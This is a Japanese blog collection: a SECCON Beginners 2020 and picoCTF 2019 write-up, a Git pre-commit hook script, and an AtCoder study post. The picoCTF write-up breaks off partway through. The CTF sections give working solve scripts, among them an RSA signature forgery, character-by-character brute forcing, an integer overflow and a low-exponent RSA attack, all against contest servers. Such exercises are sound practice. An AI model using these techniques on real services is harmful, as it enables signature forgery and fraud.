SECCON Beginners CTF 2020 writeup
目次
はじめに
SECCON Beginners CTF 2020にふ゛ち (@betit0919) | Twitter, まいこー (@micheeeeell1001) | Twitterと3人で出ました。久しぶりのCTFとても楽しかったです。
解けた問題はこんな感じで異常に偏っています。自分はCryptoとRev解いて余った時間でPwnやる予定だったのですが、Revが久しぶりでなんも覚えておらず、Pwnには手をつけられず……。 Rev, Pwnを練習しなくてはいけないなあと感じました。あと、久しぶりにPython 使ってそこにもめちゃくちゃ苦労したので、Pythonにももっと慣れていきたいです。
解いた問題
2020/05/26 追記 チームメイトが解いた問題の解法はこちらです betit0919.hatenablog.com
Noisy equations
概要
- coeffs (接続するたびにランダム)とanswersが与えられる
- flag長Nとすれば、coeffs はN×Nの行列answersはN×1のベクトル
- これ以外にN×1のランダムなベクトルが設定されているが、seedは固定
- A b + r = x (A: coeffs, b: flag, r: randbits, x: answers) という式が成り立つ
解法
- seed固定なので二回取ってきて差分を取ると(A_1-A_2)b = x_1-x_2 という感じでランダム部分が消える
- 逆行列をかけると求めたいbが求まる
from pwn import * from Crypto.Util.number import * import numpy as np import json io1 = remote("noisy-equations.quals.beginners.seccon.jp", 3000) coeff1 = json.loads(io1.recvline()) ans1 = json.loads(io1.recvline()) io2 = remote("noisy-equations.quals.beginners.seccon.jp", 3000) coeff2 = json.loads(io2.recvline()) ans2 = json.loads(io2.recvline()) N = len(ans2) subcoeff = [[0 for i in range(N)] for j in range(N)] subans = [0] * N for i in range(N): for j in range(N): subcoeff[i][j] = int(coeff1[i][j]) - int(coeff2[i][j]) for i in range(N): subans[i] = int(ans1[i]) - int(ans2[i]) A = np.array(subcoeff).astype(np.float64) b = np.array(subans).astype(np.float64) flag_ascii = np.linalg.inv(A).dot(b) flag = '' for c in ans_ascii: flag += chr(round(c)) print(flag)
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
入力をうまく配列に入れたり、逆行列をかけたり……Python力がなさすぎて、解法思いついてから実装するまでにめっちゃ時間かかった。
RSA Calc
概要
- nc で指定されたポートに繋ぐと、Sign, Exec, Exit を選ぶインターフェイスが与えられる
- Signを選択すると入力したdataに対するSignatureが返される
- Execを選択するとdataと signatureを入力させられ、dataに対するsignatureが正しい時のみその後の処理が実行される
- SignatureはRSA署名でN, eも普通でp,qが求められる感じではない
- dataはExecできると','で分解され、'+-*/'などの演算子と数字による演算が行われる
- 'F'の入力があるとval==1337が実行されtrueならフラグが出力される
- Sign では'F', '1337'を含む文字列を入力するとsignatureを返さないようになってる
解法
- いかにして'1000,337,+,F'とか'1337,F'みたいな実行結果が1337になるような実行文のRSA署名を得るかが問題
- m='1337,F'としたとき、例えば2mとかの署名は返してくれるので、これをうまく使う
- sign_m=md(mod N) = (2m)d/2d (mod N)みたいな感じ
- 実際には'a'でやった
from Crypto.Util.number import * import binascii as ba from pwn import * io = remote('rsacalc.quals.beginners.seccon.jp', 10001) io.recvuntil('N: ') N = int(io.recvline()) m = b'1337,F' ma = long_to_bytes(bytes_to_long(m)*bytes_to_long(b'a')) io.sendlineafter('> ', '1') io.sendlineafter('data> ', ma) io.recvuntil('Signature: ') sig_ma = io.recvline()[0:-1] print(sig_ma) io.sendlineafter('> ', '1') io.sendlineafter('data> ', 'a') io.recvuntil('Signature: ') sig_a = io.recvline()[0:-1] print(sig_a) sig_m = hex(bytes_to_long(ba.unhexlify(sig_ma)) * inverse(bytes_to_long(ba.unhexlify(sig_a)),N) % N) io.sendlineafter('> ', '2') io.sendlineafter('data> ', m) io.sendlineafter('signature> ', sig_m) print(io.recvline())
ctf4b{SIgn_n33ds_P4d&H4sh}
mask
概要
- 実行すると引数にflagを入力してくれと言われる
- flag を入れて実行すると謎の文字列が2つ返り入力が正しくないと言われる
解法
- radare2+r2dec でCの疑似コードを出してみる
while (eax < var_d4h) { eax = var_d8h; rax = (int64_t) eax; eax = *((rbp + rax - 0xd0)); eax &= 0x75; edx = eax; eax = var_d8h; rax = (int64_t) eax; *((rbp + rax - 0x90)) = dl; eax = var_d8h; rax = (int64_t) eax; eax = *((rbp + rax - 0xd0)); eax &= 0xffffffeb; edx = eax; eax = var_d8h; rax = (int64_t) eax; *((rbp + rax - 0x50)) = dl; var_d8h++; eax = var_d8h; }
片方は&= 0x75, もう一方は&= 0xffffffebで入力の各文字mask処理が行われて、それが出力されている
eax = var_d4h; rax = (int64_t) eax; *((rbp + rax - 0x90)) = 0; eax = var_d4h; rax = (int64_t) eax; *((rbp + rax - 0x50)) = 0; rax = &s1; puts (rax); rax = &var_50h; puts (rax); rax = &s1; eax = strcmp (rax, "atd4`qdedtUpetepqeUdaaeUeaqau"); if (eax == 0) { rax = &var_50h; eax = strcmp (rax, "c`b bk`kj`KbababcaKbacaKiacki"); if (eax == 0) { puts ("Correct! Submit your FLAG."); }
それぞれ"atd4`qdedtUpetepqeUdaaeUeaqau"と"c`b bk`kj`KbababcaKbacaKiacki")との比較が行われる。
ということで0x75, 0xffffffebのmaskのビットが立っているところはflagのビットの状態がわかるので、2つのorをとってflagを逆算します。
a = 'atd4`qdedtUpetepqeUdaaeUeaqau' b = 'c`b bk`kj`KbababcaKbacaKiacki' mask1 = 0x75 mask2 = 0xffffffeb ans = "" for i in range(len(a)): ans += chr(ord(a[i])&mask1 | ord(b[i])&mask2) print(ans)
ctf4b{dont_reverse_face_mask}
dont_reverse_face_mask
とか、問題文のところの
The price of mask goes down. So does the point (it's easy)!
とか、ユーモアが効いてますね。
考察した問題
yakisoba
- revしてみると、一文字ずつ判定しているところがあってそこがカオス
- ヒントにもある通り自動化しないとやってられなそう
- 1文字ずつ正しいかどうか判別がつくのでbruteforceできそうだが、実装できなかった
ghost
- ghostが書いたscriptということで、ghostscript->PostScriptで書かれている
- interpreter使ったり、実行したりしながら試したが間に合わず
2020/05/26 追記 コンテスト後に解きました
概要
- postscriptで書かれている
- ghostscriptを入れて実行すると入力を求められる
- 文字列と同じ長さの数列が返る
- 後ろの文字を変えてもそれより前は変わらない
解法
- 1文字ずつ決まるのでbruteforce
from pwn import * output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094] s = 'ctf4b{' len_o = len(output) while len(s) != len_o: for c in string.printable: p = process('gs chall.gs', shell=True) p.sendlinethen('details.\n', s+c) res = p.recvline(keepends=False).split(b' ')[0:-1] p.close() if list(map(int, res)) == output[:len(s)+1]: s += c print(s) break
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
おわりに
時間かけた割に全然解けてなくないですか??? もっとrev, pwn問解けるようになりたい!!!
Git hooksで競プロ用スニペットの自動生成
注意
自分のやったことの理解とメモのために書いています。
この記事によって何か不利益が生じても責任は取れません。
やったこと
Git hooksのpre-commitと適当なシェルスクリプトを書いて、競技プログラミング用のライブラリを作成・編集してコミットする際に、スニペットを自動生成するようにしました。
Visual Studio用のスニペットですが、テンプレートを変えれば何にでも使えると思います。
目的
競技プログラミング用のライブラリをすぐに呼び出せるように スニペットを書いているが、ライブラリ編集したのにスニペットの編集を忘れることがあるし、そもそも内容はほぼ同じでわざわざコピペするのも面倒なので自動化したい。
求める仕様
- ライブラリはlibrary/library下、スニペットはlibrary/snippet下(ディレクトリの命名……)
- スニペットのtitle, shortcut, code の部分があれば十分
- titleはファイル名、shortcutはmy+ファイル名小文字にしたい
- ライブラリ側には、#includeやusing lint = long long などの記述があるが、スニペット側では実装部分だけで良い
- ただし、競技プログラミング用のテンプレートとデバッグ用のテンプレートは#includeとかも含めてスニペットにしたい
- cppファイルの作成、編集したときにスニペットを自動生成して、削除(リネーム)した時には自動で消して欲しい
- 変更を常時監視しなくても良いけど何かしらのタイミングで反映したい
内容
# autosnippet.sh #! /bin/bash template="snippet/auto_template.snippet" for cppfile in "$@" do if echo "$cppfile" | grep -q template; then content=$(sed -e '/[^\r\n]/,$!d' -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n') else content=$(sed -e '/^#include/d' -e '/^using/d' -e '/^constexpr/d' -e '/[^\r\n]/,$!d' \ -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n') fi filename=${cppfile%.cpp} filename=${filename##*/} sed -e "s/:Name:/$filename/" -e "s/:Shortcut:/my${filename,,}/" \ -e "s/:Content:/$content/" $template > "snippet/$filename.snippet" done
コードの簡単な説明
- cppファイル名が引数として渡されることを想定
for cppfile in "$@"
で全部に対してやる #! /bin/bash
シェバン- templateはスニペットのもととなるファイル
- 仕様5のため、ファイル名に"template"が入っているかで分岐
'/^#include/d'
とかで特定の文字列が最初に来る行を削除、'/[^\r\n]/,$!d'
で初めて改行以外の文字が来る行まで削除-e 's/[\&/]/\\&/g' -e 's/$/\\n/' $cppfile | tr -d '\n'
sedが読んでしまう文字をエスケープ(\/&改行)${cppfile%.cpp}, ${filename##*/}
パラメータ展開の後方最短マッチと前方最長マッチでファイル名だけにするsed -e "s/:Name:/$filename/" -e "s/:Shortcut:/my${filename,,}/" \ -e "s/:Content:/$content/" $template > "snippet/$filename.snippet"
テンプレートの各文字列を置換、snippet/ファイル名.snippetに出力
という感じです。シェルスクリプト初めて書いたのですが、sedが読んでしまう文字をエスケープしたりするところが非常に面倒でした。もっと簡単に書けそうなら教えてください(そもそも他のスクリプト言語で書いた方が楽なのか?)。とりあえずこれでcppファイルを渡したら自動でスニペットを作ってくれる部分はできました。
あとは、仕様7をどうすれば良いか考えたのですが、Git hooksのpre-commitってやつを使いました。Git hookはGit の操作に合わせて特定のスクリプトを実行してくれる仕組みなんですが、その中でpre-commitはコミットの直前に実行され、終了ステータスが0以外ならコミットされないといったものです。.git/hooks
下にpre-commitといファイルを作って実行権限を与えれば良い感じです。
こんなシェルスクリプトを書きました。
# pre-commit #! /bin/bash git diff --cached --name-only --diff-filter=d | grep '\.cpp$'| xargs ./autosnippet.sh res=$? git diff --cached --name-only --diff-filter=D | grep '\.cpp$' | sed -e 's/library/snippet/g' -e 's/cpp$/snippet/g' | xargs rm -f exit $res || $?
git diff --cached --name-only
で変更されたファイル名を取り出して、末尾が.cppのファイルをgrepして先ほどのコマンドに渡します。
--diff-filter=d
で削除したファイル以外の変更が見れます。
その後、--diff-filter=D
で、削除したファイルだけ取り出して、スニペットファイルを取り除いています。終了ステータスは渡しているもののどっちも0しか返らない気がしています(わからん)。
まとめ
ライブラリの変更に合わせてスニペットファイルが自動生成されるようになって快適になりました(うれしい)。 シェルスクリプトまだまだよくわかってないので、他にいい感じのやり方があったら教えてください。
次はverify自動化のためにverification-helper導入したいなあ(まずはライブラリをもっと充実させましょう……)。
AtCoder 水色になるまで
はじめに
@unagiunagです。
先日のABC144で水色になることができたので(書くのが遅すぎてAGC044の結果も反映されています)、競技プログラミングをやっていく上で思ったことを適当に並べます。
勉強方法
基本的にはABC埋めと蟻本をやりながら、新しく出てきた知識などがあればそれについて調べて理解を深めるといった感じです。
精進の際の方針
- 30-40分考えて何も方針が思いつかない場合はeditorialや解説ブログをチラ見する。
- 解説をチラ見して解法が自分の中で理解できるなら、そこから10-20分くらいで考えをまとめて問題を解く。
- チラ見してもまとまらない場合はしっかりと解説を読み込んで問題を解く。
- 解説を読み込んでも理解できなければ諦める。
- 逆に、自力で良い感じの解法が思いついて、実装で詰まっている場合は解説などは一切見ずに自力で実装、デバッグする。
- 実装でどうしても詰まったら(1.5h-2hくらい)強い人の提出コードを見に行く。
- コードを見て写すのではなく、自分なりに実装する。
競技プログラミングは考察部分と実装部分に大きく分かれていると思っています。
考察部分は知らない知識があったり、類題を解いたことが無かったりする際に1から考察するのはコスパが悪く、ある程度考えて何も思いつかない場合にはすぐに解説を見て学んでいくことが大事だと思っています。
逆に、実装部分は自分の頭の中でまとめた解法をコードに落とし込む能力が大切で、これは自分の中で練習して高めていくものなので、人のコードを写経したりするのはあまり意味がないと考えています。(もちろん強い人のコードはまとまっていることが多く、コードの書き方という意味ではためになる部分も多いですが)
加えて、プログラミングする上で最も重要な能力はデバッグ力だと考えていて、これも繰り返し自分自身で考えてデバッグすることで身に着けていくしかないと思います。
解いた問題
水色時点での解いた問題はこのような感じです。基本的にはAtCoderの問題しか解いていないですが、水色までの段階で問題が不足することはまずないと思います。
様々なブログで無限回言及されている通り、初めはABC42以降を埋めていくのがおすすめです。
個人的なおすすめとしては、ABC126以降埋め > ABC42以降埋め > けんちょんさんのAtCoder版蟻本(初級編) > ABC42以前埋め(今ここです) > ARC-C や AGC-A,Bなど?。AtCoder版蟻本は難しい問題も多いのと、DP部分が非常に長くダレてきてしまうので、適当に飛ばしながらで良いと思います。
最近ではAtCoder ProblemsのDifficultyやRecommendations機能がとても優秀になっているので、Difficultyを見ながら解く問題を決めていけば良いと思います。
ライブラリ、スニペット
繰り返し使うアルゴリズム、データ構造などをライブラリやスニペットにすることはミスや労力減らすという意味で重要だと考えています。
ライブラリを書く際には、自分の中で理解した上で強い人のライブラリなどを参考にしながら書いています。 自分のライブラリ
参考にしているのは
- GitHub - beet-aizu/library: ライブラリ群
- Luzhiled’s memo | C++による競技プログラミングのライブラリです
- GitHub - yosupo06/Algorithm: プログラミングコンテスト用のライブラリ
- Spaghetti Source - 各種アルゴリズムの C++ による実装
スニペットは競技プログラミングで使うようなコードの断片をショートカットで呼び出せるようにしていて非常に便利です。
モチベーションの保ち方
これは私が競技プログラミングを続けていくために意識していることです。一個人の考え方なので参考になるかはわかりません。
コンテストに出る
これは基本にして最も重要なことだと思います。コンテストに出ないとレートが上がることはないのはもちろんですが、定期的に精進の成果を見るという点でもコンテストに出続けることは大事です。
また、コンテスト中は追い込まれているので普段よりも必死に考察するし、よく身に付くと個人的には思っています。
AGCで何度も破滅を経験しましたし、緑色の中位~上位で停滞してた頃はコンテストに参加するのが辛かったですが、めげずに参加できるコンテストにはできる限り出ています。
自分と同じくらいのレベルの人と競い合う
私はそもそもサークルの友人に誘われて競技プログラミングを初めたのですが、その時点でサークルで水色の人が3人いて、追いつくことを目標に頑張っていました。今では、青色1人、水色3人、緑色1人のslackグループで、コンテスト前後や競プロに関係する話題があった時など色々とコミュニケーションをとっています。最近水色以上の他の人はサボり気味なので、今のうちに追い抜きたいです笑。
人に競技プログラミングを布教する
私の影響で競技プログラミングを始めた人が何人かいるのですが、その人たちのレートが上がっていくのを見ると嬉しいですし、自分も頑張らなきゃなという気持ちになれます。また、他の人にわかるようにかみ砕いて説明することは自分の理解を深めることにもつながり、勉強になっています。
AtCoder ProblemsのStreakを伸ばす
毎日少しでも競プロをやる習慣をつけるという点ではこれに勝る方法はないと思います。忙しい日は100点でも200点でも良いのでとりあえずやるくらいの気持ちで、負担にならない程度に続けていくことが大事だと思っています。
まとめ
いろいろ並べましたが、一番は競技プログラミングを楽しむことが大切かなと思います。苦労して考察して問題が解けたときは爽快感がありますし、知らないアルゴリズムの知識を問題を解きながら学ぶことができるのはワクワクします。ゲーム感覚で楽しむことができているからこそ、続けられているのかなあという気がしています。
とりあえず初めの目標である水色は達成したので、青色に向けしっかりと精進していきたいです!
picoCTF 2019 writeup
はじめに
picoCTF2019に@betit0919 と2人で参加して、結果は20151点(Globalで273位)でした!
CTFも2度目の参加(TokyoWesterns CTF をやろうとして撃沈した記憶を抹消しながら)ということで、勉強したかったReverse EngineeringとBinary Exploitationを中心に Web以外は大体の問題に手を付けました。今回でpwntools, gdb-peda, radare2 といったCTFでよく使われているツールを、ある程度使いこなせるようになったことは大きかったです。
picoCTF自体は中高生向けのCTFということもあり、難易度が丁度良い感じでかなり楽しみながら勉強することができました。 初心者(自分もですが)の方にかなりおすすめのコンテストです。
復習と解答の整理も兼ねてwriteupを書いていきます。チームメイトのブログと合わせて、解いた問題を網羅しています。
また、ソースコードなどの詳細はgithubにすべて上げる予定です。
解けた問題
個人としては、解けた問題が60問で13250点。かなりの時間をかけたのにもかかわらず解けなかった問題もあるのでしっかり復習したいところです。
Cryptoを全完できたこととRevをある程度解けたことは満足していますが、まだまだBinary(Pwn)を練習しないとなあという気持ちです。
おおむね点数順、続きものはまとめています。
- はじめに
- 解けた問題
- General Skills
- Cryptography
- The Numbers - Points: 50
- 13 - Points: 100
- Easy1 - Points: 100
- caesar - Points: 100
- Mr-Worldwide - Points: 200
- Tapping - Points: 200
- la cifra de - Points: 200
- rsa-pop-quiz - Points: 200
- miniRSA - Points: 300
- waves over lambda - Points: 300
- AES-ABC - Points: 400
- b00tl3gRSA2 - Points: 400
- b00tl3gRSA3 - Points: 450
- john_pollard - Points: 500
- Forensics
- Binary Exploit
- Revese Engineering
- asm1 - Points: 200
- asm2 - Points: 250
- asm3 - Points: 300
- vault-door-training - Points: 50
- vault-door-1 - Points: 100
- vault-door-3 - Points: 200
- vault-door-4 - Points: 250
- vault-door-5 - Points: 300
- vault-door-6 - Points: 350
- vault-door-7 - Points: 400
- vault-door-8 - Points: 450
- reverse_cipher - Points: 300
- Need For Speed - Points: 400
- Time's up - Points: 400
- Web Explotitation
- おわりに
General Skills
2Warm - Points: 50
42
を2進数表記します。
picoCTF{101010}
Lets Warm Up - Points: 50
0x70
をASCIIに変換します。
picoCTF{p}
Warmed Up - Points: 50
0x3D
を10進数表記します。
picoCTF{61}
Bases - Points: 100
base64でbDNhcm5fdGgzX3IwcDM1
をデコードします。
pythonならbinascii.a2b_base64("bDNhcm5fdGgzX3IwcDM1")
とかでできます。
picoCTF{l3arn_th3_r0p35}
Resources - Points: 100
https://picoctf.com/resources
につなぐとフラグがあります。
解説動画やチュートリアルが載っているので参考にすると良いかもしれないです。
picoCTF{r3source_pag3_f1ag}
Based - Points: 200
2,8,16進数表記からASCIIに変換します。
簡単な問題ですが、pwntoolsの練習も兼ねてコードを書きました。
ソースコード(クリックで展開)
from pwn import * io = remote('2019shell1.picoctf.com', 44303) print(io.recvuntil("give the")) l = io.recvuntil(" as") l_sp = l[:-2].split() print(l_sp) ans = "" for i in l_sp: ans+=chr(int(i,2)) print(ans) io.sendlineafter("Input:", ans) print(io.recvuntil("give me the")) l = io.recvuntil(" as") l_sp = l[:-2].split() print(l_sp) ans = "" for i in l_sp: ans+=chr(int(i,8)) print(ans) io.sendlineafter("Input:", ans) print(io.recvuntil("give me the")) l = io.recvuntil(" as") print(l[1:-3]) ans = l[1:-3].decode("hex") print(ans) io.sendlineafter("Input:", ans) print(io.recvall()) io.close()
You've beaten the challenge Flag: picoCTF{learning_about_converting_values_b515dfd2}
8進数があまりにも見慣れないせいで少し戸惑いました。
plumbing - Points: 200
nc 2019shell1.picoctf.com 18944
でつなぐと大量の文字列が流れてきます。
ヒントの通り、パイプ("|")で複数のコマンドを組み合わせる問題です。
nc 2019shell1.picoctf.com 18944 | grep picoCTF picoCTF{digital_plumb3r_1d5b7de7}
一応pwntoolsの練習
ソースコード(クリックで展開)
from pwn import * io = remote("2019shell1.picoctf.com", 18944) io.recvuntil("picoCTF") print("picoCTF"+io.recvline()) io.close()
whats-the-difference - Points: 200
2つの画像が与えられるので、バイナリファイルの比較ができるcmpコマンドを使います。
フラグが結構長かったので、cmp -l -b kitters.jpg cattos.jpg > diff.txt
で出力して、簡単なコードを書きました。
ソースコード(クリックで展開)
diff = open("diff.txt","r") flag = "" for l in diff: flag += l[-2] print(flag)
picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}
flag_shop - Points: 300
ポートにつなぐとCUIが与えられます。1. Check Account Balance, 2. Buy Flags, 3. Exit
が選べるようです。
与えられたCのソースコードを眺めると、2. Buy Flags
のメニューで2. 1337 Flag
を購入できれば良さそうですが、お金が足りません。
さらに眺めると、1. Defintely not the flag Flag
はいくつでも購入ができ、total_cost
にintのオーバーフローを起こせることがわかります。
intのオーバーフローは未定義動作なので何が起こるかはわかりませんが、とりあえず1111111111
などでオーバーフローを起こすと、現在のお金がすごいことになります。
picoCTF{m0n3y_bag5_34c9a5f7}
mus1c - Points: 300
歌詞のようなテキストファイルが与えられます。
よく眺めてみる&ヒントを参照するとプログラミング言語っぽいことがわかるので、"Rockstar programming language"などでググります。
公式ページに実行環境があるので、それを使って実行してみると、数字がたくさん出力されます。あとはASCIIに変換するだけです。
ソースコード(クリックで展開)
a = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114] ans="" for i in a: ans+=chr(i) print(ans)
picoCTF{rrrocknrn0113r}
1_wanna_b3_a_r0ck5tar - Points: 350
mus1cの続きです。今回はただ実行するだけでなく、適切な入力を与える必要があるみたいです。
ドキュメントをよく読む必要がありますが、ポイントは
- 大文字スタートは変数(空白区切りで大文字が出てこないところまで)
a, an, the, my, your
で始まり、続く文字列が全て小文字なら変数(keywordを含む、case insensitive)- 変数 + is で空白以降を代入
- is に続く単語が変数や文字列じゃないなら、空白で区切られた単語の文字数がその桁の数字となる。例:
Tommy was a big bad brother
なら、Tommy = 1337
(10文字超える場合下一桁。'-' はスペースと同じと見なす。(ここでハマった)) Listen to
で標準入力、Say/Shout/Whisper/Scream
で標準出力
これくらいわかれば解けます。
If the music is a guitar
とIf the rhythm without Music is nothing
( rhythm - Music == 0
) に合うように入力すると、数字が出力されるのでASCIIに変換します。
ソースコード(クリックで展開)
b = [66,79,78,74,79,86,73] ans="" for i in b: ans+=chr(i) print(ans)
picoCTF{BONJOVI}
Cryptography
The Numbers - Points: 50
画像が与えられます。アルファベットをAから数えて何番目かで数字に変換されていることがわかります。
大文字指定に気を付けて、
PICOCTF{THENUMBERSMASON}
13 - Points: 100
cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
が問題の通り、ROT13で暗号化されているので復号します。
picoCTF{not_too_bad_of_a_problem}
Easy1 - Points: 100
テーブル、平文、鍵が与えられます。テーブルを見るとヴィジュネル暗号であることがわかるので、こことかで復号します(コードを書くのが面倒なので)。
picoCTF{CRYPTOISFUN}
caesar - Points: 100
問題名の通りシーザー暗号です。n文字ずらした分を出力してっぽいものを探します。
ソースコード(クリックで展開)
caesar = "rgdhhxcviwtgjqxrdcdydkefyh" for i in range(26): txt = "" for c in caesar: txt += chr((ord(c)+i)%26 + ord('a')) print(txt)
picoCTF{crossingtherubiconojovpqjs}
Mr-Worldwide - Points: 200
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
というフラグっぽいメッセージが与えられます。
問題名から考えても緯度、経度を指してるので一つずつ調べていきます。
Google検索すると場所が表示されますが、首都とかを指してるのではなく微妙な位置を指しているので少し不安になります。
とりあえず都市の頭文字を並べてみるとKODIAK_ALASKA
になり、少なくとも後半は合ってそうと思いながらとりあえず出してみると通りました。Kodiakはアラスカ州の市の一つのようです。
picoCTF{KODIAK_ALASKA}
Tapping - Points: 200
与えられたポートにつなぐと.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- ---.. .---- ---.. ..--- ..--- ....- ..... --... ..... }
が表示されます。
問題名と表示された文字列からモールス信号と推測できるので、"morse signal translator"などでググります。
PICOCTF{M0RS3C0D31SFUN1818224575}
la cifra de - Points: 200
与えられたポートにつなぐと、長い暗号化された文章が表示され文中にフラグっぽい文字列が見えます。
ヴィジュネル暗号っぽいですが、鍵すら持ってないので適当にオンラインソルバーを探します。
picoCTF{b311a50_0r_v1gn3r3_c1ph3rb6cdf651}
rsa-pop-quiz - Points: 200
与えられたポートにつなぐとRSA暗号に関するクイズが次々に出題されます。
問題のヒントの通り、横でもう一つターミナルを開きながらやるとよいと思います。
問題自体は簡単でですが、間違えたり遅かったりすると初めからとなり、結構面倒でした。
If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
とのことなので、一番最後の答えである14311663942709674867122208214901970650496788151239520971623411712977120545970596944152836477
をunpackしてASCIIに変換します。binasciiなどが便利です。
ソースコード(クリックで展開)
from pwn import * import binascii from mod_inv import * p = 60413 q = 76753 n = p * q print(n) p = 54269 n = 5051846941 q = n / p print(q) p = 12611 q = 66347 phi = (p-1)*(q-1) print(phi) m = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 c = pow(m,e,n) print(c) p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 e = 65537 phi = (p-1)*(q-1) d = mod_inv(e,phi) print(d) p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 c = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 q = n/p phi = (p-1)*(q-1) d = mod_inv(e,phi) m = pow(c,d,n) print(m) hex_ans = hex(m) print(unpack_many(hex_ans[2:])) print(binascii.a2b_hex(hex_ans[2:]))
picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}
miniRSA - Points: 300
RSA暗号の公開鍵e,nと暗号文cが与えられます。問題文の通りeがとても小さいので、"Low Public Exponent Attack"でmが求まってしまいます。RSA暗号に対する攻撃についてはこちらのスライドを理解していれば大体良い感じだと思います。
ソースコード(クリックで展開)
この問題はPython3を使用しています
import gmpy2 import binascii N = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673 e = 3 c = 2205316413931134031074603746928247799030155221252519872650082343781881947286623459260358458095368337105247516735006016223547924074432814737081052371203373104854490121754016011241903971190586239974732476290129461147622505210058893325312869 m,res = gmpy2.iroot(c,e) hex_m = hex(m) print(m) print(binascii.a2b_hex(hex_m[2:])[2:])
picoCTF{n33d_a_lArg3r_e_db48b19b}
waves over lambda - Points: 300
与えられたポートにつなぐと暗号文が表示されます。つなぐたびに暗号文は変化するようです。
換字暗号のようなので、オンラインソルバー を探します。
frequency_is_c_over_lambda_mupgpennod
フラグが本来の形でないのは、そこから推測されることを嫌ったからでしょうか。解けるまで結構時間がかかりました。
AES-ABC - Points: 400
pythonのソースコードとppmファイルが与えられます。pythonコードを読むと"flag.ppm"を"KEY"をもとにAES-ECB形式で暗号化したあと、独自の処理をを行い"body.enc.ppm"を出力していて、それをAES-ABC形式と呼んでいるみたいです。
aes_abc_encrypt関数の中の独自の処理の部分が
for i in range(len(blocks) - 1): prev_blk = int(blocks[i].encode('hex'), 16) curr_blk = int(blocks[i+1].encode('hex'), 16) n_curr_blk = (prev_blk + curr_blk) % UMAX blocks[i+1] = to_bytes(n_curr_blk)
となっていて、AES-ECBで暗号化したブロックをに対し、前のブロックを足し合わせる処理をしているので、AES-ABCはAES-ECBのブロックの累積和になっていることがわかります。
UMAX = pow(256,16)
は元のブロックの最大値なので、前のブロックとの (mod UMAX) での引き算をすれば、AES-ECBで暗号化された状態のブロックを復元できることがわかります。
ここまでは簡単なのですが、ここからAES-ECBを復号する必要があると思っていて、鍵をどうすれば良いかなど悩みました。結論としては、ppmは画像形式なのでブロックごとに暗号化されていても元の画像はある程度見えるという話で、既に答えは出ていました。
Padding Oracle Attack (これはAES-CBCに対する攻撃です)やChosen Plaintext Attackなどを調べていましたが、冷静に考えると復号できるわけがないですね……。
ソースコード(クリックで展開)
